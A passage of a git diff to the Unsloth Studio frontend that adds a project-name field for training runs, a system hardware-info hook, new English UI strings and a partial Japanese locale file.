+        payload.project_name ?? "",
+      );
 
       // Resume goes straight to startTraining, so it runs the same consent gate as a
       // fresh start; otherwise a resumed custom-code run hits the worker block with no dialog.
diff --git a/studio/frontend/src/features/training/index.ts b/studio/frontend/src/features/training/index.ts
index 5157d89582..553dcc2af5 100644
--- a/studio/frontend/src/features/training/index.ts
+++ b/studio/frontend/src/features/training/index.ts
@@ -7,6 +7,11 @@ export {
   useTrainingRuntimeStore,
 } from "./stores/training-runtime-store";
 export { useTrainingActions } from "./hooks/use-training-actions";
+
+export {
+  getTrainingRunDisplayTitle,
+  getTrainingRunModelSubtitle,
+} from "./lib/run-display";
 export { useTrainingHistorySidebarItems } from "./hooks/use-training-history-sidebar";
 export { useTrainingRuntimeLifecycle } from "./hooks/use-training-runtime-lifecycle";
 export { useTrainingCompletionWatch } from "./hooks/use-training-completion-watch";
diff --git a/studio/frontend/src/features/training/lib/run-display.ts b/studio/frontend/src/features/training/lib/run-display.ts
new file mode 100644
index 0000000000..b691b257c4
--- /dev/null
+++ b/studio/frontend/src/features/training/lib/run-display.ts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { TrainingRunSummary } from "../types/history";
+
+type TrainingRunTitleFields = Pick<
+  TrainingRunSummary,
+  "display_name" | "project_name" | "model_name"
+>;
+
+function nonEmpty(value: string | null | undefined): string | null {
+  const trimmed = value?.trim();
+  return trimmed ? trimmed : null;
+}
+
+export function getTrainingRunDisplayTitle(run: TrainingRunTitleFields): string {
+  return nonEmpty(run.display_name) ?? nonEmpty(run.project_name) ?? run.model_name;
+}
+
+export function getTrainingRunModelSubtitle(
+  run: TrainingRunTitleFields,
+): string | null {
+  return getTrainingRunDisplayTitle(run) === run.model_name ? null : run.model_name;
+}
diff --git a/studio/frontend/src/features/training/stores/training-config-store.ts b/studio/frontend/src/features/training/stores/training-config-store.ts
index 85ce25aa97..07be8a247b 100644
--- a/studio/frontend/src/features/training/stores/training-config-store.ts
+++ b/studio/frontend/src/features/training/stores/training-config-store.ts
@@ -58,6 +58,7 @@ const initialState: TrainingConfigState = {
   currentStep: MIN_STEP,
   modelType: null,
   selectedModel: null,
+  projectName: "",
   trainingMethod: "qlora",
   hfToken: "",
   datasetSource: "huggingface",
@@ -613,6 +614,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           if (state.modelDefaultsAppliedFor === state.selectedModel) return;
           void loadAndApplyModelDefaults(state.selectedModel);
         },
+        setProjectName: (projectName) => set({ projectName }),
         setTrainingMethod: (trainingMethod) => {
           const state = get();
           set(
diff --git a/studio/frontend/src/features/training/stores/training-runtime-store.ts b/studio/frontend/src/features/training/stores/training-runtime-store.ts
index 9eaaa98c0e..acc80a3be2 100644
--- a/studio/frontend/src/features/training/stores/training-runtime-store.ts
+++ b/studio/frontend/src/features/training/stores/training-runtime-store.ts
@@ -24,6 +24,7 @@ const initialState: TrainingRuntimeState = {
   startError: null,
   startModelName: null,
   startDatasetName: null,
+  startProjectName: null,
   startFromResume: false,
   sseConnected: false,
   firstStepReceived: false,
@@ -125,8 +126,12 @@ export const useTrainingRuntimeStore = create<TrainingRuntimeStore>()((set) => (
   setHasHydrated: (value) => set({ hasHydrated: value }),
   setStarting: (value) => set({ isStarting: value }),
   setStartError: (value) => set({ startError: value }),
-  setStartResources: (startModelName, startDatasetName, startFromResume = false) =>
-    set({ startModelName, startDatasetName, startFromResume }),
+  setStartResources: (
+    startModelName,
+    startDatasetName,
+    startFromResume = false,
+    startProjectName = null,
+  ) => set({ startModelName, startDatasetName, startProjectName, startFromResume }),
   setSseConnected: (value) => set({ sseConnected: value }),
   setLastEventId: (value) => set({ lastEventId: value }),
 
diff --git a/studio/frontend/src/features/training/types/api.ts b/studio/frontend/src/features/training/types/api.ts
index 4f7a41bdea..ecd29a2ff0 100644
--- a/studio/frontend/src/features/training/types/api.ts
+++ b/studio/frontend/src/features/training/types/api.ts
@@ -5,6 +5,7 @@ import type { S3Config } from "@/types/training";
 
 export interface TrainingStartRequest {
   model_name: string;
+  project_name: string | null;
   training_type: string;
   hf_token: string | null;
   load_in_4bit: boolean;
diff --git a/studio/frontend/src/features/training/types/config.ts b/studio/frontend/src/features/training/types/config.ts
index d24ce31a6a..5658dfc7a1 100644
--- a/studio/frontend/src/features/training/types/config.ts
+++ b/studio/frontend/src/features/training/types/config.ts
@@ -21,6 +21,7 @@ export interface TrainingConfigState {
   currentStep: StepNumber;
   modelType: ModelType | null;
   selectedModel: string | null;
+  projectName: string;
   trainingMethod: TrainingMethod;
   hfToken: string;
   datasetSource: DatasetSource;
@@ -95,6 +96,7 @@ export interface TrainingConfigActions {
   prevStep: () => void;
   setModelType: (type: ModelType) => void;
   setSelectedModel: (model: string | null) => void;
+  setProjectName: (value: string) => void;
   ensureModelDefaultsLoaded: () => void;
   ensureDatasetChecked: () => void;
   setTrainingMethod: (method: TrainingMethod) => void;
diff --git a/studio/frontend/src/features/training/types/history.ts b/studio/frontend/src/features/training/types/history.ts
index 8207e4ad10..99e9bdcb17 100644
--- a/studio/frontend/src/features/training/types/history.ts
+++ b/studio/frontend/src/features/training/types/history.ts
@@ -5,6 +5,7 @@ export interface TrainingRunSummary {
   id: string;
   status: "running" | "completed" | "stopped" | "error";
   model_name: string;
+  project_name: string | null;
   dataset_name: string;
   display_name: string | null;
   started_at: string;
@@ -15,6 +16,9 @@ export interface TrainingRunSummary {
   output_dir: string | null;
   can_resume: boolean;
   resumed_later: boolean;
+  has_preview_model: boolean;
+  preview_ref: string | null;
+  preview_sig: string | null;
   duration_seconds: number | null;
   error_message: string | null;
   loss_sparkline: number[] | null;
diff --git a/studio/frontend/src/features/training/types/runtime.ts b/studio/frontend/src/features/training/types/runtime.ts
index c27a2f2bed..8ed0ce0037 100644
--- a/studio/frontend/src/features/training/types/runtime.ts
+++ b/studio/frontend/src/features/training/types/runtime.ts
@@ -83,6 +83,7 @@ export interface TrainingRuntimeState {
   startError: string | null;
   startModelName: string | null;
   startDatasetName: string | null;
+  startProjectName: string | null;
   startFromResume: boolean;
   sseConnected: boolean;
   firstStepReceived: boolean;
@@ -121,6 +122,7 @@ export interface TrainingRuntimeActions {
     modelName: string | null,
     datasetName: string | null,
     fromResume?: boolean,
+    projectName?: string | null,
   ) => void;
   setSseConnected: (value: boolean) => void;
   setLastEventId: (value: number | null) => void;
@@ -160,6 +162,7 @@ export interface TrainingViewData {
 
   // Config summary
   modelName: string;
+  projectName: string | null;
   trainingMethod: string;
 
   // Time-series (for ChartsSection)
diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts
index d5c923d57d..5b2fa43ae7 100644
--- a/studio/frontend/src/hooks/index.ts
+++ b/studio/frontend/src/hooks/index.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+
 export { useDebouncedValue } from "./use-debounced-value";
 export { useGpuInfo } from "./use-gpu-info";
 export { useGpuUtilization } from "./use-gpu-utilization";
@@ -9,3 +10,4 @@ export { useHfDatasetSplits } from "./use-hf-dataset-splits";
 export { useHfTokenValidation } from "./use-hf-token-validation";
 export { useTauriBackend } from "./use-tauri-backend";
 export { useCollapseScrollLock } from "./use-collapse-scroll-lock";
+export { useSystemInfo } from "./use-system";
diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts
index eb4d89abd8..1e313acdf3 100644
--- a/studio/frontend/src/hooks/use-gpu-info.ts
+++ b/studio/frontend/src/hooks/use-gpu-info.ts
@@ -3,19 +3,26 @@
 
 import { authFetch } from "@/features/auth";
 import { useEffect, useState } from "react";
+import type { SystemInfoResponse } from "./use-system";
 
 export interface GpuInfo {
   available: boolean;
   name: string;
   memoryTotalGb: number;
+  cpuCore: number;
+  cpuThread: number;
   systemRamAvailableGb: number;
+  systemRamTotalGb: number
 }
 
 const DEFAULT_GPU: GpuInfo = {
   available: false,
   name: "Unknown",
   memoryTotalGb: 0,
+  cpuCore: 0,
+  cpuThread: 0,
   systemRamAvailableGb: 0,
+  systemRamTotalGb: 0
 };
 
 // Module-level cache so multiple components share one fetch.
@@ -30,24 +37,30 @@ async function fetchGpuOnce(): Promise<GpuInfo> {
     try {
       const res = await authFetch("/api/system");
       if (!res.ok) throw new Error(`HTTP ${res.status}`);
-      const data = await res.json();
-      const ramAvailableGb = data?.memory?.available_gb ?? 0;
+
+      const data = await res.json() as SystemInfoResponse;
       const gpuData = data?.gpu;
-      if (!gpuData?.available || !gpuData.devices?.length) {
-        // No discrete GPU (e.g. Mac): still surface system RAM so memory math
-        // (unified memory) has a budget to work with.
-        const info: GpuInfo = { ...DEFAULT_GPU, systemRamAvailableGb: ramAvailableGb };
-        cachedGpu = info;
-        return info;
-      }
-      const devices = gpuData.devices as Array<{ name?: string; memory_total_gb?: number }>;
-      const totalGb = devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0);
-      const info: GpuInfo = {
-        available: true,
-        name: devices[0]?.name ?? "Unknown",
-        memoryTotalGb: totalGb,
-        systemRamAvailableGb: ramAvailableGb,
+
+      // CPU/RAM exist even on hosts without a GPU, so populate them on every path.
+      // No discrete GPU (e.g. Mac): still surface system RAM so memory math
+      // (unified memory) has a budget to work with.
+      const base = {
+        cpuCore: data?.cpu?.physical_count ?? 0,
+        cpuThread: data?.cpu?.logical_count ?? 0,
+        systemRamAvailableGb: data?.memory?.available_gb ?? 0,
+        systemRamTotalGb: data?.memory?.total_gb ?? 0,
       };
+
+      const devices = gpuData?.devices ?? [];
+      const info: GpuInfo =
+        gpuData?.available && devices.length
+          ? {
+              ...base,
+              available: true,
+              name: devices[0]?.name ?? "Unknown",
+              memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0),
+            }
+          : { ...DEFAULT_GPU, ...base };
       cachedGpu = info;
       return info;
     } catch {
@@ -78,4 +91,4 @@ export function useGpuInfo(): GpuInfo {
   }, []);
 
   return gpu;
-}
+}
\ No newline at end of file
diff --git a/studio/frontend/src/hooks/use-gpu-utilization.ts b/studio/frontend/src/hooks/use-gpu-utilization.ts
index 1a9f6102dd..be16647a4d 100644
--- a/studio/frontend/src/hooks/use-gpu-utilization.ts
+++ b/studio/frontend/src/hooks/use-gpu-utilization.ts
@@ -7,6 +7,9 @@ import { useEffect, useRef, useState } from "react";
 export interface GpuUtilization {
     available: boolean;
     backend: string | null;
+    devices?: GpuUtilization[];
+    index?: number;
+    visible_ordinal?: number;
     gpu_utilization_pct: number | null;
     temperature_c: number | null;
     vram_used_gb: number | null;
@@ -57,11 +60,10 @@ export function useGpuUtilization(
                 const json = (await res.json()) as GpuUtilization;
                 if (!cancelled) setData(json);
             } catch {
-                // Silently ignore — next poll will retry
+                // Retry on the next poll.
             }
         }
 
-        // Fetch immediately, then set up interval
         void poll();
         timerRef.current = setInterval(() => void poll(), intervalMs);
 
diff --git a/studio/frontend/src/hooks/use-hardware-info.ts b/studio/frontend/src/hooks/use-hardware-info.ts
index 36e3c532f3..4d63d4d6af 100644
--- a/studio/frontend/src/hooks/use-hardware-info.ts
+++ b/studio/frontend/src/hooks/use-hardware-info.ts
@@ -25,6 +25,13 @@ export interface HardwareInfo {
     transformers: string | null;
     unsloth: string | null;
     llamaCpp: string | null;
+    // Whether export can run here (true only on a supported accelerator), with a torch-aware
+    // reason. `null` until the authoritative response lands, so callers don't briefly enable
+    // export; `loaded` flips true once a real (non-error) response arrives.
+    exportSupported: boolean | null;
+    exportUnsupportedReason: string | null;
+    exportUnsupportedMessage: string | null;
+    loaded: boolean;
 }
 
 const DEFAULT: HardwareInfo = {
@@ -38,6 +45,10 @@ const DEFAULT: HardwareInfo = {
     transformers: null,
     unsloth: null,
     llamaCpp: null,
+    exportSupported: null,
+    exportUnsupportedReason: null,
+    exportUnsupportedMessage: null,
+    loaded: false,
 };
 
 // Module-level cache so multiple components share one fetch.
@@ -87,6 +98,10 @@ async function fetchOnce(): Promise<HardwareInfo> {
                 transformers: data?.versions?.transformers ?? null,
                 unsloth: data?.versions?.unsloth ?? null,
                 llamaCpp: data?.llama_cpp ?? null,
+                exportSupported: data?.export_supported ?? null,
+                exportUnsupportedReason: data?.export_unsupported_reason ?? null,
+                exportUnsupportedMessage: data?.export_unsupported_message ?? null,
+                loaded: true,
             };
             if (generation === cacheGeneration) {
                 cached = info;
diff --git a/studio/frontend/src/hooks/use-system.ts b/studio/frontend/src/hooks/use-system.ts
new file mode 100644
index 0000000000..a135cce86e
--- /dev/null
+++ b/studio/frontend/src/hooks/use-system.ts
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { useEffect, useState } from "react";
+
+export interface GpuDevice {
+  index?: number;
+  index_kind?: string;
+  visible_ordinal?: number;
+  name?: string;
+  memory_total_gb?: number;
+  vram_used_gb?: number;
+  vram_free_gb?: number;
+  vram_utilization_pct?: number | null;
+}
+
+export interface SystemInfoResponse {
+  platform: string;
+  python_version: string;
+  device_backend: "cuda" | "rocm" | "cpu" | "mlx" | "xpu";
+  uptime_seconds: number | null;
+  cpu: {
+    logical_count: number;
+    physical_count: number;
+    usage_percent: number;
+    frequency_mhz: number | null;
+  };
+  memory: {
+    total_gb: number;
+    available_gb: number;
+    percent_used: number;
+    process_used_mb: number;
+  };
+  disk: {
+    total_gb: number;
+    free_gb: number;
+    percent_used: number;
+  };
+  gpu: {
+    available: boolean;
+    backend?: string;
+    backend_cuda_visible_devices?: string | null;
+    parent_visible_gpu_ids?: number[];
+    index_kind?: string;
+    devices: GpuDevice[];
+  };
+  ml_packages: {
+    torch?: string;
+    transformers?: string;
+  };
+}
+
+let cachedSystem: SystemInfoResponse | null = null;
+let systemFetchPromise: Promise<SystemInfoResponse> | null = null;
+
+const DEFAULT_SYSTEM: SystemInfoResponse = {
+  platform: "Unknown",
+  python_version: "Unknown",
+  device_backend: "cpu",
+  uptime_seconds: 0,
+  cpu: { logical_count: 0, physical_count: 0, usage_percent: 0, frequency_mhz: null },
+  memory: { total_gb: 0, available_gb: 0, percent_used: 0, process_used_mb: 0 },
+  disk: { total_gb: 0, free_gb: 0, percent_used: 0 },
+  gpu: { available: false, devices: [] },
+  ml_packages: {}
+};
+
+async function fetchSystemOnce({
+  force = false,
+}: { force?: boolean } = {}): Promise<SystemInfoResponse> {
+  if (systemFetchPromise) return systemFetchPromise;
+  if (!force && cachedSystem) return cachedSystem;
+
+  systemFetchPromise = (async () => {
+    try {
+      const res = await authFetch("/api/system");
+      if (!res.ok) throw new Error(`HTTP ${res.status}`);
+      const data = await res.json();
+
+      cachedSystem = data as SystemInfoResponse;
+      return cachedSystem;
+    } catch {
+      cachedSystem = null;
+      return DEFAULT_SYSTEM;
+    } finally {
+      systemFetchPromise = null;
+    }
+  })();
+
+  return systemFetchPromise;
+}
+
+interface UseSystemInfoOptions {
+  pollMs?: number;
+  enabled?: boolean;
+}
+
+export function useSystemInfo({
+  pollMs,
+  enabled = true,
+}: UseSystemInfoOptions = {}): SystemInfoResponse {
+  const [systemInfo, setSystemInfo] = useState<SystemInfoResponse>(cachedSystem ?? DEFAULT_SYSTEM);
+
+  useEffect(() => {
+    if (!enabled) return;
+
+    let cancelled = false;
+    let timeoutId: number | null = null;
+
+    const update = (force: boolean) => {
+      void fetchSystemOnce({ force })
+        .then((info) => {
+          if (!cancelled) setSystemInfo(info);
+        })
+        .finally(() => {
+          if (cancelled || !pollMs) return;
+          timeoutId = window.setTimeout(() => update(true), pollMs);
+        });
+    };
+
+    update(Boolean(pollMs));
+    return () => {
+      cancelled = true;
+      if (timeoutId !== null) window.clearTimeout(timeoutId);
+    };
+  }, [enabled, pollMs]);
+
+  return systemInfo;
+}
diff --git a/studio/frontend/src/hooks/use-tauri-backend.ts b/studio/frontend/src/hooks/use-tauri-backend.ts
index 086cfc8090..db996768a6 100644
--- a/studio/frontend/src/hooks/use-tauri-backend.ts
+++ b/studio/frontend/src/hooks/use-tauri-backend.ts
@@ -75,8 +75,7 @@ function externalConflictMessage(preflight: DesktopPreflightResult) {
     : "A Unsloth server for this install is already running from a terminal. Stop that server, or run `unsloth studio update` from that terminal before using the desktop app.";
 }
 
-async function waitForManagedServerReady(
-  invoke: TauriInvoke,
+async function waitForManagedServerPort(
   getPort: () => number | null,
   shouldContinue: () => boolean,
 ): Promise<ManagedStartupResult> {
@@ -91,15 +90,7 @@ async function waitForManagedServerReady(
       continue;
     }
 
-    const healthy = await invoke<boolean>("check_health", { port });
-    if (!shouldContinue()) {
-      return { status: "aborted" };
-    }
-    if (healthy && getPort() === port) {
-      return { status: "ready", port };
-    }
-
-    await wait(MANAGED_STARTUP_POLL_MS);
+    return { status: "ready", port };
   }
 }
 
@@ -280,10 +271,9 @@ export function useTauriBackend() {
       // backend/run.py keeps the 8888-8908 fallback via server-port/TAURI_PORT.
       await invoke("start_managed_server", { port: 8888 });
 
-      // Wait for the owned backend's server-port event. Don't attach to an
-      // external backend if the managed start doesn't report a port.
-      const startupResult = await waitForManagedServerReady(
-        invoke,
+      // Rust emits server-port only after validating the desktop-owned process.
+      // Treat that as the UI handoff point instead of doing a second health poll.
+      const startupResult = await waitForManagedServerPort(
         () => portRef.current,
         () => startingRef.current,
       );
diff --git a/studio/frontend/src/i18n/AGENTS.md b/studio/frontend/src/i18n/AGENTS.md
index 42d964acca..35c025cd0b 100644
--- a/studio/frontend/src/i18n/AGENTS.md
+++ b/studio/frontend/src/i18n/AGENTS.md
@@ -2,10 +2,11 @@
 
 - `locales/en.ts` is the complete baseline message file.
 - Non-English locale files may be partial. Missing keys must fall back to English at runtime.
-- Use BCP 47 locale tags for new languages, for example `zh-CN`, `ja-JP`, and `ko-KR`.
+- Use BCP 47 locale tags for new languages, for example `zh-CN`, `pt-BR`, `ja-JP`, and `ko-KR`.
 - Do not change fallback logic to hide missing translations.
 - Do not add automatic DOM translation, MutationObserver text replacement, or runtime guess-based translation.
 - Preserve interpolation variables exactly, for example `{count}`, `{model}`, and `{provider}`.
 - Keep product and technical names unchanged unless there is an established localized name, for example `Unsloth Studio`, `LoRA`, `GGUF`, and `Hugging Face`.
 - Keep translation changes small and reviewable. Prefer separate commits for runtime changes, UI migration, and locale text.
 - When adding user-facing Studio UI text, add the English message key first and add non-English overrides only when the translation is clear.
+- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays.
\ No newline at end of file
diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts
index 9808fd0e36..e2b66f5cdc 100644
--- a/studio/frontend/src/i18n/check-parity.ts
+++ b/studio/frontend/src/i18n/check-parity.ts
@@ -3,13 +3,15 @@
 
 // Parity check between en.ts and every non-English locale.
 // - Locale files may be partial; missing keys must fall back to English.
-// - All zh-CN keys must exist in en (no extras).
+// - All non-English keys must exist in en (no extras).
 // - Placeholder set must match per leaf between en and the overlay.
 //
 // Run: npx tsx src/i18n/check-parity.ts
 
 import { en } from "./locales/en.ts";
 import { zhCN } from "./locales/zh-CN.ts";
+import { ptBR } from "./locales/pt-br.ts";
+import { ja } from "./locales/ja.ts";
 
 type Tree = { readonly [k: string]: string | Tree };
 
@@ -87,7 +89,11 @@ function checkExtras(
   }
 }
 
-const overlays: Record<string, Tree> = { "zh-CN": zhCN as unknown as Tree };
+const overlays: Record<string, Tree> = { 
+  "zh-CN": zhCN as unknown as Tree,
+  "pt-BR": ptBR as unknown as Tree,
+  "ja": ja as unknown as Tree,
+};
 let anyError = false;
 
 for (const [locale, overlay] of Object.entries(overlays)) {
@@ -108,4 +114,4 @@ for (const [locale, overlay] of Object.entries(overlays)) {
 }
 
 if (anyError) process.exit(1);
-console.log("\nAll locale overlays pass parity.");
+console.log("\nAll locale overlays pass parity.");
\ No newline at end of file
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index ddb8286b73..3d73ad4343 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -23,6 +23,7 @@ export const en = {
     brand: "unsloth",
     product: "Unsloth Studio",
     accountMenu: "{name} account menu",
+    updateAvailable: "Update available",
     aria: {
       home: "Unsloth home",
       closeSidebar: "Close sidebar",
@@ -91,6 +92,7 @@ export const en = {
       general: "General",
       profile: "Profile",
       appearance: "Appearance",
+      resources: "System",
       chat: "Chat",
       connections: "Connections",
       apiKeys: "API",
@@ -105,6 +107,7 @@ export const en = {
         "Used to load gated models and push artifacts.",
       hideToken: "Hide token",
       showToken: "Show token",
+      tokenSaved: "Token saved",
       password: "Password",
       passwordDescription: "Change the password for this Studio account.",
       passwordDialog: {
@@ -140,6 +143,41 @@ export const en = {
         loadError: "Failed to load Helper LLM settings.",
         saveError: "Failed to save Helper LLM settings.",
       },
+      modelAutoSwitch: {
+        sectionTitle: "Model auto-switch (OpenAI API)",
+        enable: "Switch model by request",
+        enableDescription:
+          "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.",
+        idleUnload: "Idle auto-unload",
+        idleUnloadDescription:
+          "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.",
+        idleNeedsEnable:
+          "Turn on Switch model by request so an unloaded model reloads on next use.",
+        idleActiveViaEnv:
+          "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.",
+        loadError: "Failed to load model auto-switch settings.",
+        saveError: "Failed to save model auto-switch settings.",
+        idleError: "Enter a whole number of seconds (0 or more).",
+      },
+      previewSharing: {
+        sectionTitle: "Preview sharing",
+        enableLabel: "Public preview links",
+        enableDescription:
+          "Let anyone with a signed link chat with a finished model, no login required. Turn off to take the public preview surface offline; shared links stop working.",
+        loadError: "Failed to load preview sharing settings.",
+        saveError: "Failed to save preview sharing settings.",
+        revokeLabel: "Revoke all preview links",
+        revokeDescription:
+          "Rotate the signing secret so every link you've shared stops working. Newly copied links keep working.",
+        revokeAction: "Revoke links",
+        revoking: "Revoking...",
+        revokeConfirmTitle: "Revoke all preview links?",
+        revokeConfirmDescription:
+          "Every preview link you've shared will stop working immediately. This can't be undone.",
+        revokeConfirmAction: "Revoke all links",
+        revoked: "All preview links revoked",
+        revokeError: "Couldn't revoke preview links",
+      },
       notifications: {
         sectionTitle: "Notifications",
         showLlamaUpdates: "llama.cpp update notifications",
@@ -156,11 +194,24 @@ export const en = {
         maxUploadSize: "Training dataset upload cap",
         maxUploadSizeDescription: "Default is {defaultSize} MB.",
       },
+      rag: {
+        sectionTitle: "Documents & RAG",
+        embeddingModel: "Embedding model",
+        embeddingModelDescription:
+          "Hugging Face model or local path used to index and search your documents. Default is {defaultModel}.",
+        reindexWarning:
+          "Only affects newly indexed documents. Re-upload existing ones after changing the model.",
+        emptyError: "Enter a Hugging Face model id or local path.",
+        loadError: "Failed to load the embedding model setting.",
+        saveError: "Failed to save the embedding model.",
+        saved: "Embedding model saved.",
+        saveAnyway: "Save anyway",
+        resetAction: "Reset to default",
+      },
       storage: {
         sectionTitle: "Storage",
         modelsFolder: "Models folder",
-        modelsFolderDescription:
-          "Where downloaded models are stored.",
+        modelsFolderDescription: "Where downloaded models are stored.",
         openAction: "Open",
         copyAction: "Copy path",
         copied: "Path copied",
@@ -225,6 +276,58 @@ export const en = {
           "Keep the sidebar expanded instead of collapsing to icons.",
       },
     },
+    resources: {
+      title: "System",
+      description: "Monitor this Studio server's hardware and storage.",
+      liveUpdates: "Live updates",
+      floatingWindow: "Floating window",
+      disableOverlay: "Disable overlay",
+      liveMonitor: {
+        title: "Live monitor",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disk",
+        vram: "VRAM",
+        cpuCores: "{logical} logical / {physical} physical cores",
+        currentLoad: "Current load",
+        free: "{value} free",
+        noGpu: "No visible GPU",
+      },
+      gpu: {
+        title: "GPU devices",
+        noGpu: "No visible GPU detected. CPU-only resources are shown above.",
+        unknownDevice: "Unknown GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} used",
+        free: "{value} free",
+        total: "{value} total",
+      },
+      storage: {
+        title: "Storage",
+        systemDisk: "System disk",
+        diskUsage: "{used} used / {total}",
+        diskFree: "{free} free",
+        modelsFolder: "Models folder",
+        modelsFolderDescription: "Where downloaded models are stored.",
+        openAction: "Open",
+        copyAction: "Copy path",
+        copied: "Path copied",
+        openError: "Couldn't open the folder",
+        copyError: "Couldn't copy the path",
+      },
+      environment: {
+        title: "Environment",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Uptime",
+        processMemory: "Process memory",
+        notInstalled: "Not installed",
+        unknown: "Unknown",
+      },
+    },
     chat: {
       title: "Chat",
       description: "Manage chat history stored on this device.",
@@ -323,8 +426,10 @@ export const en = {
       usageTools: "Tools",
       exampleCurlTools: "curl + tools",
       examplePythonTools: "Python + tools",
+      exampleJavaScriptTools: "JavaScript + tools",
       exampleCurlAdvanced: "curl + advanced",
       examplePythonAdvanced: "Python + advanced",
+      exampleJavaScriptAdvanced: "JavaScript + advanced",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "Secure HTTPS",
@@ -335,6 +440,10 @@ export const en = {
       copy: "Copy",
       copied: "Copied",
       setupDocs: "Setup docs:",
+      codingAgents: "Coding agents",
+      codingAgentsHint:
+        "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.",
+      codingAgentsSwap: "Swap claude for codex, openclaw, opencode, hermes, or pi.",
       relativeNever: "never",
       relativeJustNow: "just now",
       relativeHoursAgo: "{count}h ago",
@@ -589,6 +698,10 @@ export const en = {
     params: {
       title: "Parameters",
       description: "Configure training hyperparameters",
+      projectName: "Project Name",
+      optional: "Optional",
+      projectNameDescription:
+        "Used in training output folder names, export defaults, and history.",
       loraSettings: "LoRA Settings",
       trainingHyperparameters: "Training Hyperparameters",
       maxSteps: "Max Steps",
@@ -761,6 +874,9 @@ export const en = {
         running: "Training in progress",
         errored: "Training errored",
       },
+      copyPreviewLink: "Copy preview link",
+      previewLinkCopied: "Preview link copied",
+      previewLinkCopyFailed: "Couldn't copy the link",
     },
     charts: {
       settings: "Chart Settings",
@@ -827,6 +943,7 @@ export const en = {
       loss: "Loss",
       lr: "LR",
       gradNorm: "Grad Norm",
+      project: "Project",
       model: "Model",
       method: "Method",
       elapsed: "Elapsed: {value}",
diff --git a/studio/frontend/src/i18n/locales/ja.ts b/studio/frontend/src/i18n/locales/ja.ts
new file mode 100644
index 0000000000..f2020f3cfb
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ja.ts
@@ -0,0 +1,832 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+// See /studio/LICENSE.AGPL-3.0
+
+export const ja = {
+  common: {
+    cancel: "キャンセル",
+    close: "閉じる",
+    delete: "削除",
+    done: "完了",
+    error: "エラー",
+    export: "エクスポート",
+    help: "ヘルプ",
+    loading: "読み込み中...",
+    new: "新規",
+    rename: "名前変更",
+    save: "保存",
+    saving: "保存中...",
+    search: "検索",
+    shutdown: "シャットダウン",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "{name} のアカウントメニュー",
+    updateAvailable: "アップデートが利用可能です",
+    aria: {
+      home: "Unsloth ホーム",
+      closeSidebar: "サイドバーを閉じる",
+      openSidebar: "サイドバーを開く",
+      chatOptions: "チャットオプション",
+      runOptions: "実行オプション",
+    },
+    navigation: {
+      newChat: "新規チャット",
+      returnToChat: "チャットに戻る",
+      compare: "比較",
+      search: "検索",
+      hub: "ハブ",
+      train: "トレイン",
+      recipes: "レシピ",
+      export: "エクスポート",
+      recents: "履歴",
+      settings: "設定",
+      api: "API",
+      lightMode: "ライトモード",
+      darkMode: "ダークモード",
+      guidedTour: "ガイドツアー",
+      help: "ヘルプ",
+      logOut: "ログアウト",
+      shutdown: "シャットダウン",
+    },
+    notFound: {
+      title: "ページが見つかりません",
+      description: "{path} は存在しません。",
+      backToChat: "チャットに戻る",
+    },
+    dialog: {
+      deleteChat: {
+        title: "チャットの削除",
+        description: '本当にこのチャット "{name}" を削除しますか？',
+      },
+      deleteRun: {
+        title: "トレーニング実行の削除",
+        description: '本当にこの実行 "{name}" を削除しますか？',
+      },
+      renameChat: {
+        title: "チャット名の変更",
+        placeholder: "チャットのタイトル",
+      },
+      renameRun: {
+        title: "実行名の変更",
+        placeholder: "実行名",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "実行中のトレーニングは削除できません",
+      failedToDeleteChat: "チャットの削除に失敗しました",
+      failedToDeleteRun: "実行の削除に失敗しました",
+      failedToRenameChat: "チャット名の変更に失敗しました",
+      failedToRenameRun: "実行名の変更に失敗しました",
+    },
+  },
+  settings: {
+    title: "設定",
+    dialog: {
+      title: "設定",
+      description: "Unsloth の環境設定を管理します。",
+      closeAriaLabel: "設定を閉じる",
+    },
+    tabs: {
+      general: "一般",
+      profile: "プロフィール",
+      appearance: "外観",
+      chat: "チャット",
+      connections: "接続",
+      apiKeys: "API",
+      about: "情報",
+    },
+    general: {
+      title: "一般",
+      description: "Unsloth の全体的な設定。",
+      account: "アカウント",
+      huggingFaceToken: "Hugging Face トークン",
